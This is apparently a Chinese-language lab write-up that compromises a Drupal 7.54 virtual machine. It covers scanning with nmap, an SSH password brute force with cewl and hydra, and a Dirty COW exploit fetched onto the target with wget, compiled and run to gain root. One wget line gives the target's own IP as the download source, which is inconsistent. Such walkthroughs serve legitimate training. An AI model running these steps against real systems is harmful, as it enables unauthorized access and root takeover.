
操作环境
攻击机:kali2026.1

虚拟网卡
VMnet19:192.168.19.0/24
靶机渗透
主机探测
arp-scan -l

靶机ip为192.168.19.136
端口探测
nmap -p- 192.168.19.136

开放了80端口,在浏览器中访问一下
端口访问

80端口没有发现什么异常,访问1898端口

是一个cms系统的登录页,点击readmore发现url发生了变化

将node/1改为2,3都会发生变化
在node/2页发现了两个文件

在audio.m4a中提到了一个用户, user:tiago

node/3也发现了一个文件

访问一下robots.txt,发现一堆目录

查看一下changlog.txt,使用的是Drupal 7.54版本的cms

查询一下漏洞攻击脚本
searchsploit Drupal 7.54

漏洞利用
在这里我们先使用cewl来生成一份结合网站目标的社工性质的密码字典
cewl http://192.168.19.136:1898 -w /root/Desktop/pass.txt

使用hydra进行密码爆破
hydra -l tiago -P /root/Desktop/pass.txt 192.168.19.136 ssh

得到用户名和密码tiago/Virgulino

使用ssh远程登录,成功getshell

提权
经过查询,发现这个dirty(脏牛)可以进行提权,于是我们在kali中查询是否存在这个exp
searchsploit 40847

将exp上传到攻击机web目录中
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /var/www/html/1.cpp

启动apache,使用wget将exp上传到靶机中
systemctl start apache2

使用wget下载exp
wget http://192.168.19.136/1.cpp

编译源码,并执行
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 1 1.cpp -lutil
成功获取root密码

使用su成功切换到root用户

获取flag
